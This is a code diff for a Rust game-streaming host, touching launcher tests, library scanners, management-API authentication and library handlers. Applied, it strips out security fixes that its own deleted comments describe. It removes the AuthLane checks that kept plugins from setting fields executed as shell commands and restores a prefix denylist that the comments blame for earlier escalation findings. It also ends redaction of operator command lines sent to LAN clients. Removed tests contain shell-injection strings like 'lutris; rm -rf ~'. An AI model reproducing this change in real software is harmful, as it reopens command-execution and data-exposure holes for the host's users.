-    /// `command` kind — stopped being available to plugins when the 2026-08-05 review made
-    /// `command` operator-only. A plugin names a launcher; the host builds the command.
-    #[test]
-    fn launcher_ui_accepts_only_launchers_this_host_can_open() {
-        #[cfg(target_os = "linux")]
-        {
-            assert!(valid_launcher_ui("heroic"));
-            assert!(valid_launcher_ui("lutris"));
-            // Not wired on this OS — refused inbound rather than becoming a tile that does nothing.
-            assert!(!valid_launcher_ui("gog"));
-        }
-        #[cfg(not(target_os = "linux"))]
-        {
-            // No Windows/macOS launcher UIs are wired yet, so every value is refused.
-            assert!(!valid_launcher_ui("heroic"));
-            assert!(!valid_launcher_ui("gog"));
-        }
-        assert!(!valid_launcher_ui(""));
-        assert!(!valid_launcher_ui("lutris; rm -rf ~"));
-    }
-
-    #[cfg(target_os = "linux")]
-    #[test]
-    fn launcher_ui_opens_the_launcher_itself() {
-        let ui = |v: &str| {
-            command_for(&LaunchSpec {
-                kind: "launcher_ui".into(),
-                value: v.into(),
-            })
-        };
-        // Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game.
-        assert_eq!(ui("lutris").as_deref(), Some("lutris"));
-        assert!(!ui("lutris").unwrap().contains("rungameid"));
-        // Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so
-        // the window IS what opens. `None` on a box without Heroic, which is a correct answer.
-        if let Some(cmd) = ui("heroic") {
-            assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}");
-            assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}");
-        }
-        assert_eq!(ui("nonsense"), None);
-        assert_eq!(ui(""), None);
-    }
-
-    #[cfg(not(windows))]
-    #[test]
-    fn steam_ui_resolves_to_the_client_ui_on_linux() {
-        let ui = |v: &str| {
-            command_for(&LaunchSpec {
-                kind: "steam_ui".into(),
-                value: v.into(),
-            })
-        };
-        // Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam`
-        // integration is built around.
-        assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui"));
-        assert_eq!(ui("desktop").as_deref(), Some("steam"));
-        assert_eq!(ui("nonsense"), None);
-        assert_eq!(ui(""), None);
-    }
-
-    #[cfg(windows)]
-    #[test]
-    fn steam_ui_resolves_to_the_client_ui_on_windows() {
-        let ui = |v: &str| {
-            windows_launch_for(&LaunchSpec {
-                kind: "steam_ui".into(),
-                value: v.into(),
-            })
-        };
-        let (bp, wd) = ui("bigpicture").expect("bigpicture recipe");
-        assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}");
-        assert!(wd.is_none());
-        let (desk, _) = ui("desktop").expect("desktop recipe");
-        assert!(desk.contains("steam://open/main"), "line was {desk:?}");
-        assert!(ui("nonsense").is_none());
-        assert!(ui("").is_none());
-    }
-
-    #[test]
-    fn steam_appid_validation_accepts_appids_and_shortcut_gameids() {
-        assert!(valid_steam_appid("570"));
-        // The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either.
-        assert!(valid_steam_appid(
-            &shortcut_gameid(2_456_789_012).to_string()
-        ));
-        assert!(!valid_steam_appid(""));
-        assert!(!valid_steam_appid("570; rm -rf ~"));
-        assert!(!valid_steam_appid("-1"));
-    }
-
-    /// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not
-    /// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`.
-    #[test]
-    fn shortcut_gameid_composes_appid_and_marker() {
-        let id = shortcut_gameid(0x8000_0000);
-        assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid");
-        assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker");
-    }
-
-    #[cfg(windows)]
-    #[test]
-    fn epic_launch_uri_triple_bare_and_guard() {
-        assert_eq!(
-            epic_launch_uri("fn:abc:Fortnite").as_deref(),
-            Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
-        );
-        assert_eq!(
-            epic_launch_uri("Fortnite").as_deref(),
-            Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
-        );
-        assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
-        assert!(epic_launch_uri("").is_none());
-    }
-
-    #[cfg(windows)]
-    #[test]
-    fn gog_spawn_parses_and_guards() {
-        let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
-        assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
-        assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
-        let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
-        assert_eq!(cmd2, "\"C:\\g.exe\"");
-        assert!(wd2.is_none());
-        assert!(gog_spawn("").is_none());
-    }
-
    #[cfg(windows)]
    #[test]
    fn windows_launch_for_maps_and_guards() {
@@ -84,7 +84,6 @@ fn lutris_games(db: &Path) -> rusqlite::Result<Vec<GameEntry>> {
    for (id, slug, name, directory) in rows.flatten() {
        games.push(GameEntry {
            provider: None,
-            role: GameRole::Game,
            meta: GameMeta::pc(),
            id: format!("lutris:{id}"),
            store: "lutris".into(),
@@ -12,41 +12,19 @@

 use super::*;

-/// One **game source** on this host, with its enable state — the unit the console renders a toggle
-/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in
-/// (WP2.6); the console treats them identically, which is what makes the extraction invisible.
+/// One installed-store scanner this host build supports, with its enable state — the unit the
+/// console renders a toggle for. The list is platform-gated at compile time (the scanners are),
+/// so the console never shows a toggle that cannot do anything on this host.
 #[derive(Clone, Debug, Serialize, ToSchema)]
 pub struct ScannerInfo {
-    /// Stable source id — the same string this source's entries carry in their `store` field. For a
-    /// plugin source it is also its provider id and its store claim: one string, by construction, so
-    /// a user's disabled state survives a built-in scanner being replaced by its plugin.
+    /// Stable scanner id — the same string the scanner's entries carry in their `store` field.
    #[schema(example = "steam")]
    pub id: String,
    /// Human-facing name for the console toggle.
    #[schema(example = "Steam")]
    pub label: String,
-    /// Whether this host runs the source (default true).
+    /// Whether this host runs the scanner (default true).
    pub enabled: bool,
-    /// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`.
-    #[schema(example = "builtin")]
-    pub origin: SourceOrigin,
-    /// The provider id backing a `plugin` source — absent for a built-in scanner.
-    #[serde(skip_serializing_if = "Option::is_none")]
-    pub provider: Option<String>,
-    /// How many entries this source currently contributes. `None` for a built-in scanner, whose
-    /// count would mean walking every launcher's files just to render a toggle.
-    #[serde(skip_serializing_if = "Option::is_none")]
-    pub entries: Option<usize>,
-}
-
-/// Where a [`ScannerInfo`] comes from.
-#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)]
-#[serde(rename_all = "lowercase")]
-pub enum SourceOrigin {
-    /// A scanner compiled into this host build.
-    Builtin,
-    /// A plugin reconciling entries over the provider API.
-    Plugin,
 }

 /// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are
@@ -109,93 +87,26 @@ pub(crate) fn disabled_scanners() -> HashSet<String> {
    load_settings().disabled.into_iter().collect()
 }

-/// Every game source on this host with its current enable state (WP2.6):
-///
-/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed
-///    (the plugin replaces it, so showing both would offer two toggles for one thing);
-/// 2. the claimed stores themselves, as plugin sources;
-/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has
-///    never had a toggle before and gets one for free here.
-///
-/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow,
-/// sorted by id.
+/// The scanners available on this platform with their current enable state, in the fixed
+/// definition order (stable for the console).
 pub fn list_scanners() -> Vec<ScannerInfo> {
    let off = disabled_scanners();
-    let claims = crate::library::claimed_stores();
-    let entries = crate::library::load_custom();
-
-    let mut out: Vec<ScannerInfo> = scanner_defs()
+    scanner_defs()
        .into_iter()
-        .filter(|(id, _)| !claims.contains_key(*id))
        .map(|(id, label)| ScannerInfo {
            id: id.to_string(),
            label: label.to_string(),
            enabled: !off.contains(id),
-            origin: SourceOrigin::Builtin,
-            provider: None,
-            entries: None,
        })
-        .collect();
-
-    // A claimed store shows under the SCANNER's label where we know one, so the row a user has been
-    // toggling for releases doesn't rename itself out from under them mid-migration.
-    let label_for = |id: &str| {
-        scanner_defs()
-            .into_iter()
-            .find(|(sid, _)| *sid == id)
-            .map(|(_, label)| label.to_string())
-            .unwrap_or_else(|| id.to_string())
-    };
-
-    let mut plugin_ids: Vec<(String, String)> = claims
-        .iter()
-        .map(|(store, provider)| (store.clone(), provider.clone()))
-        .collect();
-    // Emergent providers: any provider with entries that isn't already listed via a claim.
-    for e in &entries {
-        let Some(provider) = e.provider.as_deref() else {
-            continue;
-        };
-        if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) {
-            plugin_ids.push((provider.to_string(), provider.to_string()));
-        }
-    }
-    plugin_ids.sort();
-    plugin_ids.dedup();
-
-    out.extend(plugin_ids.into_iter().map(|(id, provider)| {
-        let count = entries
-            .iter()
-            .filter(|e| crate::library::source_id_for(e) == Some(id.as_str()))
-            .count();
-        ScannerInfo {
-            label: label_for(&id),
-            enabled: !off.contains(&id),
-            origin: SourceOrigin::Plugin,
-            provider: Some(provider),
-            entries: Some(count),
-            id,
-        }
-    }));
-    out
+        .collect()
 }

-/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed
-/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s).
-fn is_known_source(id: &str) -> bool {
-    scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id)
-}
-
-/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps
-/// that to 404 — the console only ever sees this host's own list). Persists and emits
-/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a
-/// cheap no-op.
-///
-/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and
-/// the ids match by construction — so a user who disabled `steam` before the migration still has it
-/// disabled after the steam plugin claims the store, with nothing to carry over.
+/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the
+/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and
+/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a
+/// repeated PUT is a cheap no-op.
 pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result<Option<Vec<ScannerInfo>>> {
-    if !is_known_source(id) {
+    if !scanner_defs().iter().any(|(sid, _)| *sid == id) {
        return Ok(None);
    }
    let mut settings = load_settings();
@@ -29,7 +29,6 @@ impl LibraryProvider for SteamProvider {
            .filter(|app| !is_steam_tool(app.appid, &app.name))
            .map(|app| GameEntry {
                provider: None,
-                role: GameRole::Game,
                meta: GameMeta::pc(),
                id: format!("steam:{}", app.appid),
                store: "steam".into(),
@@ -384,7 +383,6 @@ fn shortcut_entry(sc: Shortcut) -> Option<GameEntry> {
    }
    Some(GameEntry {
        provider: None,
-        role: GameRole::Game,
        meta: GameMeta::pc(),
        id: format!("steam:{}", sc.appid),
        store: "steam".into(),
@@ -428,8 +426,12 @@ fn shortcuts_files() -> Vec<PathBuf> {
    files
 }

-// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch
-// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`.
+/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
+/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
+/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
+fn shortcut_gameid(appid: u32) -> u64 {
+    ((appid as u64) << 32) | 0x0200_0000
+}

 /// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the
 /// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
@@ -760,7 +762,12 @@ mod tests {
        assert!(launch.value.bytes().all(|b| b.is_ascii_digit()));
    }

-    // `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1).
+    #[test]
+    fn shortcut_gameid_composes_appid_and_marker() {
+        let id = shortcut_gameid(0x8000_0000);
+        assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid
+        assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker
+    }

    #[test]
    fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() {
@@ -70,7 +70,6 @@ fn xbox_games() -> Vec<GameEntry> {
            let art = cached_art(&id).unwrap_or_default();
            games.push(GameEntry {
                provider: None,
-                role: GameRole::Game,
                meta: GameMeta::pc(),
                id,
                store: "xbox".into(),
@@ -618,10 +618,6 @@ fn real_main() -> Result<()> {
        // hold it, driving the real *WindowsManager end to end. `--index N`, `--seconds N`.
        #[cfg(target_os = "windows")]
        Some("dualsense-windows-test") => devtest::dualsense_windows_test(&args),
-        // Windows: pad-audio endpoint provisioning (`ensure`/`status`) + the pnputil removal
-        // escape hatch (`remove`). `--index N` selects the pad slot (default 0).
-        #[cfg(target_os = "windows")]
-        Some("pad-endpoint") => devtest::pad_endpoint(&args),
        // Capture→encode→file pipeline spike (dev tool).
        Some("spike") => spike::run(parse_spike(&args[1..])?),
        // Native punktfunk/1 host (QUIC control plane + UDP data plane).
@@ -796,16 +792,7 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
    // The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
    // admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
    // surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
-    //
-    // Only when a runner is actually installed. It used to be minted unconditionally on every
-    // `serve`, so a host with no plugins — the common case — still persisted a second
-    // admin-adjacent credential to disk and kept a second authentication lane live for a
-    // subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
-    // the next start, and an existing plugin-token file is picked up unchanged, so nothing about
-    // the plugin flow changes for a host that has one.
-    if crate::plugins::runtime_status().installed {
-        opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
-    }
+    opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
    // Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
    // fetch the game library over mTLS with no operator step — the whole point of "browse works by
    // default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
@@ -17,42 +17,6 @@ use axum::http::Method;
 use axum::middleware::Next;
 use sha2::{Digest, Sha256};

-/// **Which credential authorized this request**, attached to the request extensions by
-/// [`require_auth`] on every request it forwards.
-///
-/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
-/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
-/// every business calling — the library reconcile is the case that matters: a provider plugin owns
-/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
-/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
-/// Route-level authorization cannot express that; a handler holding this can (see
-/// [`crate::library::reject_privileged_fields`]).
-///
-/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
-/// a router that forgot the middleware must fail closed, never silently grant admin.
-#[derive(Clone, Copy, Debug, PartialEq, Eq)]
-pub(crate) enum AuthLane {
-    /// The operator's admin bearer token (loopback): everything, including the privileged fields.
-    Admin,
-    /// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
-    /// never the operator-privileged fields inside them.
-    Plugin,
-    /// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
-    Cert,
-    /// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
-    Public,
-}
-
-impl AuthLane {
-    /// Whether this lane may set fields that become command execution as the host user. Only the
-    /// operator's own token may: the console is the surface where the operator types a command, and
-    /// typing it there is the trust decision. Everything else is refused, including a paired cert
-    /// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
-    pub(crate) fn may_set_privileged_fields(self) -> bool {
-        matches!(self, AuthLane::Admin)
-    }
-}
-
 /// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
 /// (from a **loopback** peer only) — required always (the host runs with a token by construction).
 /// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
@@ -64,15 +28,8 @@ pub(crate) async fn require_auth(
    req: Request,
    next: Next,
 ) -> Response {
-    /// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
-    /// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
-    async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
-        req.extensions_mut().insert(lane);
-        next.run(req).await
-    }
-
    if req.uri().path() == "/api/v1/health" {
-        return forward(req, next, AuthLane::Public).await; // liveness probe is always open
+        return next.run(req).await; // liveness probe is always open
    }
    // The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
    // confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
@@ -86,7 +43,7 @@ pub(crate) async fn require_auth(
            .get::<PeerAddr>()
            .is_none_or(|a| a.0.ip().is_loopback());
        return if from_loopback {
-            forward(req, next, AuthLane::Public).await
+            next.run(req).await
        } else {
            api_error(
                StatusCode::UNAUTHORIZED,
@@ -104,7 +61,7 @@ pub(crate) async fn require_auth(
        if cert_may_access(req.method(), req.uri().path())
            && st.native.as_ref().is_some_and(|n| n.is_paired(fp))
        {
-            return forward(req, next, AuthLane::Cert).await;
+            return next.run(req).await;
        }
    }
    // Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
@@ -135,7 +92,7 @@ pub(crate) async fn require_auth(
        .and_then(|v| v.to_str().ok())
        .and_then(|v| v.strip_prefix("Bearer "));
    match presented {
-        Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
+        Some(token) if token_eq(token, expected) => next.run(req).await,
        // The scripting runner's scoped lane: same loopback confinement as the admin token, but
        // routes that would let a plugin escalate — registering hooks (arbitrary command
        // execution as the host user) or administering pairing (admitting/ejecting devices,
@@ -148,7 +105,7 @@ pub(crate) async fn require_auth(
                .is_some_and(|pt| token_eq(token, pt)) =>
        {
            if plugin_may_access(req.method(), req.uri().path()) {
-                forward(req, next, AuthLane::Plugin).await
+                next.run(req).await
            } else {
                api_error(
                    StatusCode::FORBIDDEN,
@@ -164,18 +121,9 @@ pub(crate) async fn require_auth(
    }
 }

-/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
-/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
-/// `mgmt::tests` fails the build otherwise).
-///
-/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
-/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
-/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
-/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
-/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
-/// this one now is too.
-///
-/// What stays *out* of the list, and why:
+/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
+/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
+/// sessions, and registers its UI lease), with these carve-outs:
 /// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
 ///   command execution as the host user, and reading it can expose webhook credentials.
 /// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
@@ -185,90 +133,29 @@ pub(crate) async fn require_auth(
 ///   secret; only the console proxy (admin token) needs it.
 /// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
 ///   plugin that can do that is a persistence/escalation primitive: it could install a helper that
-///   isn't constrained the way it is, or switch the runner's own service state.
-/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
-///   helper).
-///
-/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
-/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
-/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
-/// reachability and field authority are separate questions and this gate only answers the first.
+///   isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
+///   (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
+///   a whole-prefix deny can't be defeated by a route added later).
 pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
-    // (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
-    const ALLOWED: &[(&Method, &str)] = &[
-        // Host / status reads.
-        (&Method::GET, "/api/v1/health"),
-        (&Method::GET, "/api/v1/host"),
-        (&Method::GET, "/api/v1/status"),
-        (&Method::GET, "/api/v1/local/summary"),
-        (&Method::GET, "/api/v1/compositors"),
-        (&Method::GET, "/api/v1/events"),
-        (&Method::GET, "/api/v1/logs"),
-        // The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
-        (&Method::GET, "/api/v1/clients"),
-        (&Method::GET, "/api/v1/native/clients"),
-        // GPU + display control: host configuration a plugin may legitimately steer (a room
-        // automation plugin swaps the layout with the lights); no privilege boundary crossed.
-        (&Method::GET, "/api/v1/gpus"),
-        (&Method::PUT, "/api/v1/gpus/preference"),
-        (&Method::GET, "/api/v1/display/settings"),
-        (&Method::PUT, "/api/v1/display/settings"),
-        (&Method::GET, "/api/v1/display/state"),
-        (&Method::GET, "/api/v1/display/monitors"),
-        (&Method::PUT, "/api/v1/display/layout"),
-        (&Method::POST, "/api/v1/display/release"),
-        (&Method::GET, "/api/v1/display/presets"),
-        (&Method::POST, "/api/v1/display/presets"),
-        (&Method::PUT, "/api/v1/display/presets/{}"),
-        (&Method::DELETE, "/api/v1/display/presets/{}"),
-        // Session control: stopping/steering a session is what a launcher plugin exists to do.
-        (&Method::DELETE, "/api/v1/session"),
-        (&Method::POST, "/api/v1/session/idr"),
-        (&Method::GET, "/api/v1/session/settings"),
-        (&Method::PUT, "/api/v1/session/settings"),
-        (&Method::POST, "/api/v1/game/end"),
-        // Library: reads, plus the provider reconcile a scanner plugin is built around. The
-        // operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
-        (&Method::GET, "/api/v1/library"),
-        (&Method::GET, "/api/v1/library/art/{}/{}"),
-        (&Method::GET, "/api/v1/library/scanners"),
-        (&Method::PUT, "/api/v1/library/scanners/{}"),
-        (&Method::POST, "/api/v1/library/custom"),
-        (&Method::PUT, "/api/v1/library/custom/{}"),
-        (&Method::DELETE, "/api/v1/library/custom/{}"),
-        (&Method::PUT, "/api/v1/library/provider/{}"),
-        (&Method::DELETE, "/api/v1/library/provider/{}"),
-        // Stats / telemetry.
-        (&Method::POST, "/api/v1/stats/capture/start"),
-        (&Method::POST, "/api/v1/stats/capture/stop"),
-        (&Method::GET, "/api/v1/stats/capture/status"),
-        (&Method::GET, "/api/v1/stats/capture/live"),
-        (&Method::GET, "/api/v1/stats/recordings"),
-        (&Method::GET, "/api/v1/stats/recordings/{}"),
-        (&Method::DELETE, "/api/v1/stats/recordings/{}"),
-        // The plugin's own directory entry + log ingest (its UI lease registration).
-        (&Method::GET, "/api/v1/plugins"),
-        (&Method::POST, "/api/v1/plugins/logs"),
-        (&Method::PUT, "/api/v1/plugins/{}"),
-        (&Method::DELETE, "/api/v1/plugins/{}"),
-    ];
-    ALLOWED
-        .iter()
-        .any(|(m, pat)| *m == method && path_matches(pat, path))
-}
-
-/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
-/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
-/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
-fn path_matches(pattern: &str, path: &str) -> bool {
-    let (mut p, mut a) = (pattern.split('/'), path.split('/'));
-    loop {
-        match (p.next(), a.next()) {
-            (None, None) => return true,
-            (Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
-            _ => return false,
-        }
-    }
+    let denied = path == "/api/v1/hooks"
+        || path == "/api/v1/store"
+        || path.starts_with("/api/v1/store/")
+        || path == "/api/v1/pair"
+        || path.starts_with("/api/v1/pair/")
+        || path == "/api/v1/native/pair"
+        || path.starts_with("/api/v1/native/pair/")
+        || path == "/api/v1/native/pending"
+        || path.starts_with("/api/v1/native/pending/")
+        || (method == Method::DELETE
+            && (path.starts_with("/api/v1/clients/")
+                || path.starts_with("/api/v1/native/clients/")))
+        || (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
+        // The update surface is operator business end to end: today it is only a check, but
+        // the same prefix will carry `apply` (running an installer / the root helper), and a
+        // whole-prefix deny can't be defeated by a route added later.
+        || path == "/api/v1/update"
+        || path.starts_with("/api/v1/update/");
+    !denied
 }

 /// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
@@ -1,46 +1,8 @@
 //! Library-tagged management endpoints: installed-store + custom game entries and box art.
 //! Split out of the `mgmt` facade (plan §W5).

-use super::auth::AuthLane;
 use super::shared::*;
 use axum::http::header;
-use axum::Extension;
-
-/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
-/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
-///
-/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
-/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
-/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
-/// authority alone. Route reachability and field authority are separate questions.
-///
-/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
-/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
-/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
-/// `clippy::result_large_err` objects to.
-fn check_entry_fields(
-    lane: AuthLane,
-    art: &crate::library::Artwork,
-    launch: Option<&crate::library::LaunchSpec>,
-    prep: &[crate::hooks::PrepCmd],
-) -> Option<Response> {
-    if !lane.may_set_privileged_fields() {
-        if let Some(field) = crate::library::privileged_field(launch, prep) {
-            return Some(api_error(
-                StatusCode::FORBIDDEN,
-                &format!(
-                    "`{field}` is executed as the host user and may only be set with the \
-                     operator's admin token — a plugin may publish entries with any host-resolved \
-                     launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, lutris_id, heroic) \
-                     instead"
-                ),
-            ));
-        }
-    }
-    crate::library::validate_art_paths(art)
-        .err()
-        .map(|e| api_error(StatusCode::BAD_REQUEST, &e))
-}

 #[derive(Deserialize)]
 pub(crate) struct LibraryQuery {
@@ -72,7 +34,6 @@ pub(crate) struct LibraryQuery {
    )
 )]
 pub(crate) async fn get_library(
-    Extension(lane): Extension<AuthLane>,
    Query(q): Query<LibraryQuery>,
 ) -> Json<Vec<crate::library::GameEntry>> {
    let mut games = crate::library::all_games();
@@ -93,24 +54,6 @@ pub(crate) async fn get_library(
    for g in &mut games {
        crate::library::proxy_local_art(&g.id, &mut g.art);
    }
-    // Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
-    //
-    // `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
-    // client on the LAN — and for a custom entry `launch.value` is the raw shell command or
-    // absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
-    // exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
-    // a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
-    // which is the invariant that stops a client injecting a command in the first place. The
-    // `kind` stays, so "this is launchable, and how" still renders.
-    if !lane.may_set_privileged_fields() {
-        for g in &mut games {
-            if let Some(l) = g.launch.as_mut() {
-                if l.kind == "command" {
-                    l.value.clear();
-                }
-            }
-        }
-    }
    Json(games)
 }

@@ -198,15 +141,11 @@ pub(crate) async fn set_library_scanner(
    )
 )]
 pub(crate) async fn create_custom_game(
-    Extension(lane): Extension<AuthLane>,
    ApiJson(input): ApiJson<crate::library::CustomInput>,
 ) -> Response {
    if input.title.trim().is_empty() {
        return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
    }
-    if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
-        return denied;
-    }
    match crate::library::add_custom(input) {
        Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
        Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
@@ -230,16 +169,12 @@ pub(crate) async fn create_custom_game(
    )
 )]
 pub(crate) async fn update_custom_game(
-    Extension(lane): Extension<AuthLane>,
    Path(id): Path<String>,
    ApiJson(input): ApiJson<crate::library::CustomInput>,
 ) -> Response {
    if input.title.trim().is_empty() {
        return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
    }
-    if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
-        return denied;
-    }
    use crate::library::MutateOutcome;
    match crate::library::update_custom(&id, input) {
        Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
@@ -250,11 +185,6 @@ pub(crate) async fn update_custom_game(
            StatusCode::CONFLICT,
            &format!("entry is owned by provider `{p}` — update it through its reconcile"),
        ),
-        // Store claims are a reconcile-only concern — the manual CRUD never requests one.
-        Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
-            StatusCode::INTERNAL_SERVER_ERROR,
-            "unexpected claim outcome",
-        ),
        Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
    }
 }
@@ -286,11 +216,6 @@ pub(crate) async fn delete_custom_game(Path(id): Path<String>) -> Response {
                "entry is owned by provider `{p}` — remove it there, or DELETE the provider set"
            ),
        ),
-        // Store claims are a reconcile-only concern — the manual CRUD never requests one.
-        Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
-            StatusCode::INTERNAL_SERVER_ERROR,
-            "unexpected claim outcome",
-        ),
        Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
    }
 }
@@ -302,13 +227,6 @@ pub(crate) struct ProviderRemoved {
    removed: usize,
 }

-/// Query for `reconcileProviderEntries` — the optional store claim (D2).
-#[derive(Deserialize)]
